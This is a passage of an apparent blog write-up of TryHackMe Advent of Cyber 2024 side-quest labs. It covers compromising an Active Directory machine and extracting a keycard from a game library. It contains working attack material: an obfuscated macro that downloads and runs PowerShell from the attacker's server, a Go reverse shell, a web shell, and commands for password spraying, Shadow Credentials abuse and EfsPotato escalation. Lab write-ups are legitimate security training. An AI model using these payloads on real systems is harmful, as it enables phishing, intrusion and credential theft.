| 16 | 4 | /recordings/rec1337-deleted.mp4 | 2 | 2024-12-06 14:54:32 |
| 17 | 13 | /recordings/rec1337-deleted.mp4 | 22 | 2024-12-16 15:14:21 |
| 18 | 5 | /recordings/rec1337-deleted.mp4 | 16 | 2024-12-14 07:28:07 |
| 19 | 6 | /recordings/rec1337-deleted.mp4 | 3 | 2024-12-04 15:37:33 |
| 20 | 1 | /recordings/rec1337-deleted.mp4 | 6 | 2024-12-11 07:43:22 |
| 21 | 9 | /recordings/rec1337-deleted.mp4 | 15 | 2024-12-09 15:44:14 |
| 22 | 5 | /recordings/rec1337-deleted.mp4 | 1 | 2024-12-13 07:31:05 |
| 23 | 11 | /recordings/rec1337-deleted.mp4 | 13 | 2024-12-04 14:22:42 |
| 24 | 4 | /recordings/rec1337-deleted.mp4 | 29 | 2024-12-14 01:20:15 |
| 25 | 12 | /recordings/rec1337-deleted.mp4 | 4 | 2024-12-07 11:33:10 |
| 26 | 12 | /recordings/rec1337-deleted.mp4 | 13 | 2024-12-10 05:45:04 |
| 27 | 5 | /recordings/rec1337-deleted.mp4 | 23 | 2024-12-11 18:05:52 |
| 28 | 1 | /recordings/rec1337-deleted.mp4 | 8 | 2024-12-11 01:14:07 |
| 29 | 12 | /recordings/rec1337-deleted.mp4 | 17 | 2024-12-02 23:52:59 |
| 30 | 2 | /recordings/rec1337-deleted.mp4 | 12 | 2024-12-12 19:42:36 |
| 31 | 2 | /recordings/rec1337-deleted.mp4 | 5 | 2024-12-06 02:54:01 |
| 32 | 11 | /recordings/rec1337-deleted.mp4 | 13 | 2024-12-07 03:22:19 |
| 33 | 10 | /recordings/rec1337-deleted.mp4 | 16 | 2024-12-16 08:09:30 |
| 34 | 12 | /recordings/rec1337-deleted.mp4 | 13 | 2024-12-11 06:40:32 |
| 35 | 9 | /recordings/rec1337-deleted.mp4 | 5 | 2024-12-06 08:54:12 |
| 36 | 10 | /recordings/rec1337-deleted.mp4 | 26 | 2024-12-13 00:29:24 |
| 37 | 8 | /recordings/rec1337-deleted.mp4 | 4 | 2024-12-12 23:44:25 |
| 38 | 6 | /recordings/rec1337-deleted.mp4 | 28 | 2024-12-08 21:13:54 |
| 39 | 2 | /recordings/rec1337-deleted.mp4 | 29 | 2024-12-04 10:56:14 |
| 40 | 12 | /recordings/rec1337-deleted.mp4 | 4 | 2024-12-10 14:59:26 |
| 41 | 12 | /recordings/rec1337-deleted.mp4 | 29 | 2024-12-06 18:08:31 |
| 42 | 6 | /recordings/rec1337-deleted.mp4 | 18 | 2024-12-16 21:44:16 |
| 43 | 6 | /recordings/rec1337-deleted.mp4 | 5 | 2024-12-15 06:15:46 |
| 44 | 13 | /recordings/rec1337-deleted.mp4 | 16 | 2024-12-08 14:06:04 |
| 45 | 11 | /recordings/rec1337-deleted.mp4 | 22 | 2024-12-12 03:43:01 |
| 46 | 5 | /recordings/rec1337-deleted.mp4 | 2 | 2024-12-02 00:16:53 |
| 47 | 2 | /recordings/rec1337-deleted.mp4 | 17 | 2024-12-04 14:15:21 |
| 48 | 9 | /recordings/rec1337-deleted.mp4 | 10 | 2024-12-15 22:26:09 |
| 49 | 4 | /recordings/rec1337-deleted.mp4 | 25 | 2024-12-16 21:24:40 |
| 50 | 2 | /recordings/rec1337-deleted.mp4 | 28 | 2024-12-03 15:44:53 |
| 51 | 10 | /recordings/rec1337-deleted.mp4 | 24 | 2024-12-14 14:30:26 |
| 52 | 13 | /recordings/rec1337-deleted.mp4 | 8 | 2024-12-13 01:17:33 |
| 53 | 13 | /recordings/rec1337-deleted.mp4 | 17 | 2024-12-04 10:56:24 |
| 54 | 6 | /recordings/rec1337-deleted.mp4 | 2 | 2024-12-14 02:49:21 |
| 55 | 13 | /recordings/rec1337-deleted.mp4 | 16 | 2024-12-08 05:17:35 |
| 56 | 3 | /recordings/rec1337-deleted.mp4 | 18 | 2024-12-13 17:59:50 |
| 57 | 9 | /recordings/rec1337-deleted.mp4 | 21 | 2024-12-11 02:06:27 |
| 58 | 11 | /recordings/rec1337-deleted.mp4 | 30 | 2024-12-13 04:32:45 |
| 59 | 9 | /recordings/rec1337-deleted.mp4 | 27 | 2024-12-15 16:24:24 |
| 60 | 12 | /recordings/rec1337-deleted.mp4 | 1 | 2024-12-05 20:23:44 |
+----+--------+---------------------------------+---------+---------------------+

Visit the path /recordings/rec1337-deleted.mp4 and it will give you the access card.

We can disable the firewall using the keycard’s password and send the value to a website on port 21337. The active ports include:

  • Port 53 (DNS)
  • Port 80 (Web server)
  • Ports 139 and 445 (SMB)
  • Port 135 (RPC)
  • Port 464 (Kerberos)
  • Port 143 (IMAP)
  • Port 587 (SMTP)
  • Port 3389 (RDP)
  • Port 5985 (Windows Remote Management)

Interestingly, ports commonly associated with Active Directory, such as LDAP (389) and Kerberos (88), are missing despite the challenge implying a potential AD-related scenario. However, a UDP scan reveals that LDAP is active, although it isn’t particularly useful over UDP.

Using dnsenum to enumerate the DNS server only uncovers the domain socmas.corp and the hostname fisher.socmas.corp, hinting that this machine might have a connection to phishing-related activities.

Next, We utilize smbclient to access the shared resource and locate the first flag. Alongside the flag, we discover an Excel file named “approved” and two images, one of which is labeled “steg.” Could this truly be a steganography challenge? To investigate further, we use mget * to download the entire contents of the share.

smbclient //10.10.117.165/ChristmasShare

And the flag for the first question can then be obtained: What is the content of flag.txt?

Upon reviewing the file approved.xlsx, we noticed entries resembling passwords. We saved the contents into a text file named approved.txt for later use. However, we still lack some usernames. Since SMB is accessible and the $IPC share is readable, we can use RID brute-forcing to identify usernames.

nxc smb 10.10.117.165 -u 'guest' -p '' --rid

RID brute-forcing involves connecting to the target system’s IPC$ share and leveraging the Security Account Manager Remote (SAMR) protocol to enumerate accounts. Starting with a known base RID (e.g., 500 for the administrator), it incrementally queries the system to identify valid users or groups associated with each RID. Positive responses reveal account names linked to those RIDs, enabling us to map out users and groups. We can then compile these into a properly formatted username list using awk.

awk '{print $6}' rid.txt | awk -F '\\\\' '{print $2}' > usernames.txt
sed 's/$/@socmas.corp/' usernames.txt > updated_usernames.txt

Given that we know the domain and some mail-related ports are open, we create a list of possible email addresses using a specific command. Meanwhile, we discovered a stego image on the share and tried various steganography tools, but none yielded useful results.

Interestingly, the metadata of approved.xlsx contained two entries: the creator was listed as developer@test.corp, and the modifier as Administrator@SOCMAS.CORP. The user developer@test.corp stood out, so we used hydra to test credential combinations with this account. Although we didn’t get a hit on SMTP, we succeeded with IMAP.

exiftool approved.xlsx
hydra -l developer@test.corp -P approved.txt 10.10.233.55 imap

Now with access to a mail account, we confirmed the credentials via telnet, logged in, and successfully selected the INBOX folder.

A001 LOGIN developer@test.corp REDACTED
A002 LIST "" "*"
A003 SELECT INBOX

The initial email we retrieve is a request from snowflakes.crawler@socmas.crop for a document that includes the account details of all non-individual users.

Hi,

I hope this message finds you well.

As part of our ongoing efforts to maintain an organized and efficient
system, we need to identify and remove user accounts that are not
designated as personal accounts. To proceed with this initiative, we
kindly request a document containing the account details of all
non-personal users.

The required details include:

* Username
* Password
* Email address
* Associated department/team (if applicable)
* Account creation date (if available)

Please provide the information in a |.docx| format by/December 25th,
2024/ to ensure timely processing. If there are any concerns or
additional clarifications needed, feel free to reach out to me directly.

Your assistance in this matter is greatly appreciated and plays a
crucial role in improving our system's efficiency.

Thank you for your cooperation.

Best regards,

After setting up Evolution mail, We can review all three emails, but the fourth email, a reply from snowflakes.crawler, will be discussed later. Among the emails, one was retrieved via Telnet.

Additionally, there’s information about enhanced security measures, including an updated antivirus system and encrypted web traffic. The final email from snowflakes.crawler to the developer mentions the need for the document credentials Snowflakes is still awaiting. To establish access, it seems necessary to trick Snowflakes into opening a malicious attachment, such as an executable file or a macro-enabled document.

However, when sending something to snowflakes.crawler, a response indicates that the attachment doesn’t meet the elf’s requirements. The specific answers may vary.

Several attempts were made to gain shell access. One approach involved injecting macros from a remote .dotm template, which showed partial success but did not fully work. This idea stemmed from an assumption, based on email feedback, that only .docx formats would be accepted.

Sub AutoOpen()
On Error Resume Next
Call MyMacro
On Error GoTo 0
End Sub

Sub Document_Open()
On Error Resume Next
Call MyMacro
On Error GoTo 0
End Sub

Sub MyMacro()
Dim IPAddress As String
Dim PingCommand As String

' target IP address
IPAddress = "10.14.90.235"

'pPing pommand
PingCommand = "cmd.exe /c ping -n 4 " & IPAddress

' execute ping
CreateObject("WScript.Shell").Run PingCommand, 0, False
End Sub

However, upon testing, it was discovered that .docm documents were also accepted. A basic macro was created that pings the testing machine four times. Using the swaks command, this macro was sent, resulting in a response from snowflakes.crawler.

swaks --to 'snowflakes.crawler@socmas.corp' \
--from 'developer@test.corp' \
--header 'RE: Request for Account Details to Identify Non-Personal Accounts' \
--body 'Here is the Document!' \
--attach-type application/octet-stream \
--attach @krampus.docm\
--server socmas.corp \
--port 587 \
--timeout 20s \
--auth LOGIN \
--auth-user developer@test.corp \
--auth-password REDACTED

At this stage, incoming pings were observed using tcpdump, confirming that .docm files and macros are permitted.

sudo tcpdump -i tun0 icmp

Despite this, a straightforward macro employing a PowerShell reverse shell from revshells.com proved ineffective. Similarly, attempts to download and execute netcat.exe also failed, as the antivirus (AV) system was highly effective. A more obfuscated payload is required to bypass these security measures.

This concept, along with the PowerShell script, macro, and binary, was created by Aquinas. All rights and credit are attributed to him.

The process of obtaining a reverse shell is divided into three stages. First, an obfuscated Word macro is used to download a text file and execute its contents through PowerShell. Second, the PowerShell script downloads and executes an obfuscated binary. Finally, the binary, developed using Go for evading antivirus detection, establishes a reverse shell.

The Word macro’s primary function is to retrieve a text file and execute a PowerShell script.

The parameters a, b, c, and d represent the octets of the IP address, where a and b are offset by 256 added to the actual IP. The dd parameter specifies the port, while e and f determine the name of the text file.

GetObject(winmgmts:).Get(Win32_Process).Create powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://ip:80/payload.txt'))
Function Pre()
Pre = Array(4, 7, 30, 22, 27, 0, 9, 17, 9, 31, 84, 69, 0, 20, 9, 12, 87, 13, 11, 28, 5, 7, 27, 73, 94, 7, 28, 17, 84, 72, 4, 84, 0, 12, 8, 8, 10, 25, 79, 95, 15, 68, 29, 13, 17, 91, 65, 29, 4, 3, 72, 28, 22, 2, 0, 15, 24, 79, 4, 22, 1, 24, 1, 25, 70, 7, 22, 29, 93, 22, 17, 7, 16, 24, 1, 0, 2, 24, 70, 89, 11, 29, 27, 10, 24, 7, 8, 23, 26, 7, 19, 29, 11, 20, 92, 79, 13, 24, 24, 31, 77, 64, 93)
End Function
Function Post2()
Post2 = Array(83, 65, 64)
End Function
Function Source()
Source = Array(3, 1, 7, 30, 14, 30, 21, 7, 95)
End Function
Function Dest()
Dest = Array(35, 1, 7, 64, 91, 44, 49, 6, 10, 16, 17, 27, 22)
End Function
Function Key()
Key = "thisisatesthelloworld"
End Function
Function Comb(parts)
For i = LBound(parts) To UBound(parts) - 1:
Comb = Comb + Trim(parts(i) + ".")
Next
Comb = Comb + Trim(parts(UBound(parts)))
End Function
Function Eval(equation)
k = Key()
For i = LBound(equation) To UBound(equation)
j = i Mod Len(k) + 1
kv = Asc(Mid(k, j, 1))
res2 = res2 + Chr(equation(i) Xor kv)
Next
Eval = res2
End Function
Sub Test()

a = 266
b = 270
c = 90
d = 235
dd = 80
E = "run"
f = "txt"

r = Array(Str(a - 256), Str(b - 256), Str(c), Str(d))
f = Comb(r) + ":" + Trim(Str(dd)) + "/" + Comb(Array(E, f))

s = Trim(Eval(Pre())) + f + Eval(Post2())
i = Eval(Source())
j = Eval(Dest())
GetObject(i).Get(j).Create s, Null, Null, -1
' MsgBox (s)

End Sub
Sub AutoOpen()
Test
End Sub

The Go program for obtaining a reverse shell appears as follows and must be compiled on a Windows system.

package main

import (
"net"
"os/exec"
)

func main() {
// Establish a TCP connection to the specified IP and port
connection, _ := net.Dial("tcp", "ip:4545")

// Set up a PowerShell command to use the TCP connection for input, output, and error streams
powershell := exec.Command("powershell")
powershell.Stdin = connection
powershell.Stdout = connection
powershell.Stderr = connection

// Execute the command
powershell.Run()
}

TCP Connection: A TCP connection is opened to the specified IP and port

.PowerShell: A PowerShell process is spawned, with its input/output redirected through the established connection.

Reverse Shell: This effectively creates a reverse shell, allowing the remote server to execute commands on the system where the code is running.

Compile on the host using the below command:

go build -o payload.exe payload.go

The payload.txt file contains a PowerShell script designed to download and execute the reverse shell binary.

$url = "http://ip/payload.exe"
$filePath = "$env:temp\payload.exe"
Invoke-WebRequest -Uri $url -OutFile $filePath
if (Test-Path $filePath) {
Start-Process -FilePath $filePath -NoNewWindow
} else {
Write-Host "Download failed. File not found at $filePath"
}

To deploy this, swaks is used to send the document. A listener is configured on port 4445, and an HTTP server runs on port 80 to serve both payload.txt and payload.exe.

swaks --to 'snowflakes.crawler@socmas.corp' \
--from 'developer@test.corp' \
--header 'RE: Request for Account Details to Identify Non-Personal Accounts' \
--body 'Here is the Document!' \
--attach-type application/octet-stream \
--attach @krampus.docm\
--server socmas.corp \
--port 587 \
--timeout 20s \
--auth LOGIN \
--auth-user developer@test.corp \
--auth-password REDACTED

Once the email is sent, a response is received from snowflakes.crawler, followed by a connection to our listener.

At this point, we are operating as the user scrawler. The user flag is located on this user’s desktop, but they only have domain user privileges. The next step involves enumerating the target system to identify further opportunities for escalation or exploitation.

To deliver the tools to the target, we utilize the impacket-smbserver.

impacket-smbserver smbFolder $(pwd) -smb2support -username test -password pass123

We map the \\ip\smbFolder network share to the x: drive on the local system using the credentials user:test and password:pass123. Following this, we deploy the latest version of PrivescCheck to enumerate the target machine, which successfully avoids detection by the antivirus software.

net use x: \\ip\smbFolder /user:test pass123

After running the command, we obtain an HTML file containing the results, which we copy to our shared folder. Within the findings, we discover some WinLogon credentials associated with the current user.

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML"

Using netstat -ano to examine internal ports, we identify the LDAP port (389) and the DC-related port (88), both of which are essential for enumerating the machine with bloodhound-python.

netstat -ano

To facilitate this, we forward the required ports using Chisel. The latest version, v1.10.1, is undetected by the system. We initiate the process by starting a Chisel server on our attacker’s machine.

./chisel server -reverse --port 22345

Next, we transfer the chisel.exe file via our shared resource and ensure that at least ports 389 and 88 are forwarded to facilitate DC enumeration.

./chisel.exe client ip:22345 R:389:127.0.0.1:389 R:88:127.0.0.1:88 R:53:127.0.0.1:53 R:3268:127.0.0.1:3268

With the availability of LDAP, we use ldapdomaindump along with the credentials now in our possession. Running ldapdomaindump reveals the credentials for the user Winterberry_Locksmith, a domain user also visible in the BloodHound results.

python ldapdomaindump.py -u 'socmas\scrawler' -p REDACTED 127.0.0.1

However, we will delve deeper into that later. Since we already have some usernames obtained via RID brute-forcing and a corresponding password, we test these combinations using NetExec to see if any credentials were reused.

nxc smb socmas.corp -u usernames.txt -p 'REDACED' --continue-on-success

One discovery is KrampusIIS, which is promising since an IIS user might have privileges to write to the C:\inetpub\wwwroot folder. Considering that we know a website is hosted on port 80, this could be significant.

In the attack path analysis, we detail the implications of this finding. However, this isn’t the end of the story. Despite having credentials for IISKrampus, we cannot access the machine using WinRM or enumerate shares, suggesting this could be a false positive.

Using the scrawler credentials and forwarded ports, we proceed with BloodHound Python. To mitigate DNS-related issues, we employ dnschef beforehand to simulate DNS queries. With the scrawler user’s credentials, BloodHound Python allows us to gather critical information for further analysis.

dnschef --fakeip 127.0.0.1

bloodhound-python -d socmas.corp -c All -u 'scrawler' -p 'REDACTED' -dc 127.0.01 -ns 127.0.0.1

The user scrawler is merely a domain user with no control privileges. However, we’ve identified the credentials for the user KRAMPUS_DEBUGGER, who has GenericWrite permissions over KRAMPUS_SHADOW. This permission enables us to perform either a Targeted Kerberoast attack on the target or a Shadow Credentials attack using tools like pyWhiskers, as suggested by BloodHound.

The Shadow Credentials attack leverages Microsoft Active Directory Certificate Services (AD CS) to escalate privileges or establish persistence in a network. This method allows account takeover without modifying account attributes or passwords. In this case, KRAMPUS_SHADOW is a member of the KRAMPUSIIS@SOCMAS.CORP group, which itself is part of the REMOTE MANAGEMENT USERS group. Membership in this group allows WinRM login if we possess valid credentials or hashes.

The strategy involves leveraging the KRAMPUS_DEBUGGER credentials to execute the Shadow Credential attack against KRAMPUS_SHADOW. This will enable us to request a certificate impersonating KRAMPUS_SHADOW. With this certificate, we can extract the NT hash of the user.

Once we recover the NT hash, we can log in to the target machine using WinRM. As KRAMPUS_SHADOW is part of the KRAMPUSIIS group, the user will have write access to C:\inetpub\wwwroot. By placing a web shell in this directory, we can gain access as an IIS AppPool user, which typically possesses the SeImpersonate privilege. This privilege can then be exploited using a potato exploit to escalate privileges to NT AUTHORITY\SYSTEM.

Using the KRAMPUS_DEBUGGER credentials, we execute the pywhiskers exploit.

python /opt/pywhisker/pywhisker/pywhisker.py -d 'socmas' -u 'KRAMPUS_DEBUGGER' -p 'REDACTED' --target 'KRAMPUS_SHADOW' --action 'list'

python /opt/pywhisker/pywhisker/pywhisker.py -d 'socmas' -u 'KRAMPUS_DEBUGGER' -p 'ChristmasAoC2024!' --target 'KRAMPUS_SHADOW' --action 'add'

This process will generate a certificate, specifically 4YomZolE.pfx in this instance. Following that, we request a Ticket Granting Ticket (TGT) and use it to retrieve the NT hash.

python3 /opt/PKINITtools/gettgtpkinit.py -cert-pfx 4YomZolE.pfx -pfx-pass AGqHhZ5GKISnkSNpvhDk socmas/KRAMPUS_SHADOW KRAMPUS_SHADOW.ccache

With the recovered NT hash, we can log in through evil-winrm, as the KRAMPUS_SHADOW user belongs to the REMOTE MANAGEMENT USERS GROUP.

export KRB5CCNAME=KRAMPUS_SHADOW.ccache

python3 /opt/PKINITtools/getnthash.py -key 8b52e845a474cad8b8bbe65913fde86404a0d306a427c4247bf0320166144dd4 socmas/KRAMPUS_SHADOW

The login page is located at C:\inetpub\wwwroot\Views\Home\Index.cshtml. By examining the page in a browser, we observe a cookie being set and confirm that the web application is built on ASP.NET. On the attacker’s machine, we replicate the content of Index.cshtml. For an initial test of execution, we perform a basic query such as whoami.

@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;

@functions {

string RunProcess(string command, string args = null)
{
var resultOutput = new System.Text.StringBuilder();
var process = new Process();
var processInfo = new ProcessStartInfo
{
FileName = command,
Arguments = args,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};

process.StartInfo = processInfo;
process.OutputDataReceived += (sender, e) => resultOutput.AppendLine(e.Data);
process.ErrorDataReceived += (sender, e) => resultOutput.AppendLine(e.Data);

process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();

return resultOutput.ToString();
}
}

@{
var commandResult = RunProcess("cmd.exe", "/c whoami");
}

Result of the executed command (provided by Niemand):
@commandResult

To upload the Index.cshtml file, we utilize the upload utility provided by evil-WinRM. Upon requesting the index page, we observe that the current user is iis apppool\defaultapppool. Next, we create a web shell designed to execute the Go-based binary that we previously used to gain initial access. This binary is placed in a location accessible to the apppool user at C:\inetpub\wwwroot\Views\Home\0xb0b.exe.

package main

import (
"net"
"os/exec"
)

func main() {
// Establish a TCP connection to the specified IP and port
connection, _ := net.Dial("tcp", "ip:4545")

// Set up a PowerShell command to use the TCP connection for input, output, and error streams
powershell := exec.Command("powershell")
powershell.Stdin = connection
powershell.Stdout = connection
powershell.Stderr = connection

// Execute the command
powershell.Run()
}

The web shell’s purpose is to execute this binary. Finally, we set up a listener on port 4545 once again.

The SeImpersonatePrivilege is a highly privileged capability in Windows that enables a user or process to impersonate another user’s security context. To exploit this, various “potato” vulnerabilities are available. Due to strict antivirus (AV) measures, we opt for the EfsPotato exploit, which requires compilation directly on the target system. Using our SMB share, we transfer the necessary source code.

net use x: \.14.90.235\smbFolder /user:test pass123

Next, we locate a suitable csc compiler on the target machine under C:\Windows\Microsoft.Net\Framework\. Following the instructions in the exploit repository, we execute a compilation command to build the binary. We then run the reverse shell binary in the context of NT Authority\System, successfully establishing a connection back to our listener and gaining system-level privileges.

copy x:\EfsPotato\EfsPotato.cs .

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618

C:\Windows\Temp\EfsPotato.exe C:\Users\TEMP\Documents\payload.exe

Upon investigation, the root flag is not located at C:\Users\Administrator\Desktop. Running the tree /f command reveals the final flag is located in the Krampus_Proxy Desktop directory.

T5: An Avalanche of Web Apps

L5 Keycard

The keycard for the fifth Side Quest is discovered during the 25th day’s task of the TryHackMe Advent of Cyber. This task provides a hint suggesting that paying attention to the second penguin’s advice might be helpful: “The second penguin gave pretty solid advice. Maybe you should listen to him more.”

Day 19 offers another clue: “I merely noticed that you’re improperly stored, my dear secret!”

The task involves game hacking and introduces the use of frida-trace. Upon starting the application within the context of frida-trace, the function _Z14create_keycardPkc() becomes immediately noticeable. Additionally, after running the application with frida-trace, a corresponding JavaScript file appears in the __handlers__ directory, which wasn’t there previously.

Following the provided hint, we aim to acquire as much advice as possible from the second penguin. To achieve this, and to avoid manually updating the coin count through the in-game PC, we use frida-trace to modify the function by passing a negative value for the price. This manipulation allows unlimited purchases of advice.

/*
* Auto-generated by Frida. Please modify to match the signature of _Z17validate_purchaseiii.
* This stub is currently auto-generated from manpages when available.
*
* For full API reference, see: https://frida.re/docs/javascript-api/
*/


defineHandler({
onEnter(log, args, state) {
log('_Z17validate_purchaseiii()');
log('PARAMETER 1: '+ args[0]);
log('PARAMETER 2: '+ args[1]);
log('PARAMETER 3: '+ args[2]);
args[1] = ptr(-31337);

},

onLeave(log, retval, state) {

}
});

After receiving several hints, we discover a sequence reminiscent of the final appearance of Cyber Side Quest 2023. Entering this sequence using the error keys results in the message “incorrect password.” To bypass the password check, we apply what we learned in the room by setting the return value to true. Upon re-entering the sequence, we obtain a secret phrase, though no keycard is provided.

/*
* Auto-generated by Frida. Please modify to match the signature of _Z14create_keycardPKc.
* This stub is currently auto-generated from manpages when available.
*
* For full API reference, see: https://frida.re/docs/javascript-api/
*/

defineHandler({
onEnter(log, args, state) {
log('_Z14create_keycardPKc()');
log("PARAMETER:" + Memory.readCString(args[0]));
},

onLeave(log, retval, state) {
retval.replace(ptr(1));
log("The return value is: " + retval);
}
});

We begin by transferring the TryUnlockMe binary and the associated libaocgame.so library from the target system to our attacker’s machine. This is achieved using netcat. First, we set up a listener on our machine to capture incoming data and write it to the TryUnlockMe file.

nc -l -p 4545 > TryUnlockMe

Then, on the target machine, we send the binary data through the connection we are monitoring. The same process is repeated in reverse for the library file: setting up a listener on the attacker’s machine to receive the library data, and sending the file using netcat from the target machine.

~/Desktop/TryUnlockMe$ nc -w 3 ip 4545 < TryUnlockMe

Once both files are successfully transferred, we decompile them using Binary Ninja. While the decompilation of the TryUnlockMe binary yields no useful information, the libaocgame.so library contains a function responsible for creating the keycard. Upon examining this function, we determine that it writes the keycard data to a file.

nc -l -p 4546 > libaocgame.so
/usr/lib$ nc -w 3 ip 4546 < libaocgame.so

With access to the library, we can utilize it in a custom C program to invoke the create_keycard() function and generate the keycard file on our system.

This C program was authored by Aquinas

#include <stdio.h>
#include <dlfcn.h>
#include <stdint.h> // For uint64_t

// Typedef for the create_keycard function
typedef uint64_t (*createKeycard_t)(char *);

int main()
{
// Path to the shared library
const char *library_path = "./libaocgame.so";

// Load the shared library
void *handle = dlopen(library_path, RTLD_LAZY);
if (!handle)
{
fprintf(stderr, "Error loading library: %s\n", dlerror());
return 1;
}

// Clear any existing error
dlerror();

// Load the create_keycard function
createKeycard_t createKeycard = (createKeycard_t)dlsym(handle, "_Z14create_keycardPKc");
const char *error = dlerror();
if (error != NULL)
{
fprintf(stderr, "Error loading function: %s\n", error);
dlclose(handle);
return 1;
}

// Prepare input parameter for the function
char input[] = "one_two_three_four_five"; // C-style string

// Call the create_keycard function
uint64_t result = createKeycard(input);

// Print the result
printf("create_keycard returned: 0x%lx (%lu)\n", result, result);

// Close the library
dlclose(handle);

return 0;
}

After successfully compiling and running the program, we obtain the zip file containing the keycard. However, the zip file is password-protected. Fortunately, we had previously retrieved a passphrase from the game, which serves as the password for the zip file. Using this passphrase, we extract the contents of the zip file and obtain the fifth keycard.

About the Author

Mastermind Study Notes is a group of talented authors and writers who are experienced and well-versed across different fields. The group is led by, Motasem Hamdan, who is a Cybersecurity content creator and YouTuber.

View Articles